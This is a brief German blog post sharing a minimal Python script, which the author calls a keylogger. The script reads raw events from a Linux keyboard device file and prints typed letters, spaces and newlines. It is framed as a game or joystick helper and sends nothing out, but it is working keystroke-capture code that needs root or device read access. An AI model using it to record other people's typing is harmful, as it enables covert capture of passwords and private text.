by:

Als Beispiel dient ein eher minimalistischer Keylogger in Python, den ich vor einigen Jahren für ein Spiel geschrieben habe. Derzeit kann er a-z, Leertaste und Enter unterscheiden. Eine Erweiterung um z.b. die Pfeiltasen abzugreifen kann man recht leicht erreichen, einfach nur die Variabel action ausgeben und eine neue if condition hinzufügen.
Damit das Script funktioniert, muss man bei der Variabel pipe den richtigen Pfad angeben und ausserdem sollte das Script mit Lese-Rechte auf die Datei ausgestattet sein (zu not tuts auch root).

import sys
pipe = open("/dev/input/by-path/platform-i8042-serio-0-event-kbd","r")
action = []

mapping = {'1E' : "a", '30' : 'b', '2E' : 'c', '20' : 'd', '12' : 'e',
           '21' : 'f', '22' : 'g', '23' : 'h', '17' : 'i', '24' : 'j',
           '25' : 'k', '26' : 'l', '32' : 'm', '31' : 'n', '18' : 'o',
           '19' : 'p', '10' : 'q', '13' : 'r', '1F' : 's', '14' : 't',
           '16' : 'u', '2F' : 'v', '11' : 'w', '2D' : 'x', '2C' : 'y',
           '15' : 'z', '39' : ' ', '1C' : '\n'
          }

while 1:
  for character in pipe.read(1):
    action += ['%02X' % ord(character)]
    if len(action) == 8:
      if action[2] in mapping and action[4] == '01':
        sys.stdout.write (mapping[action[2]])

      sys.stdout.flush()

      action = []

Das Script kann z.b. nützlich sein um die Steuerung von Joysticks auszulesen, für die es keine Linux treiber gibt.

Update

Habe das Script nochmal etwas übersichtlicher gestalltet, danke für den Hinweis ;)

lg

Andreas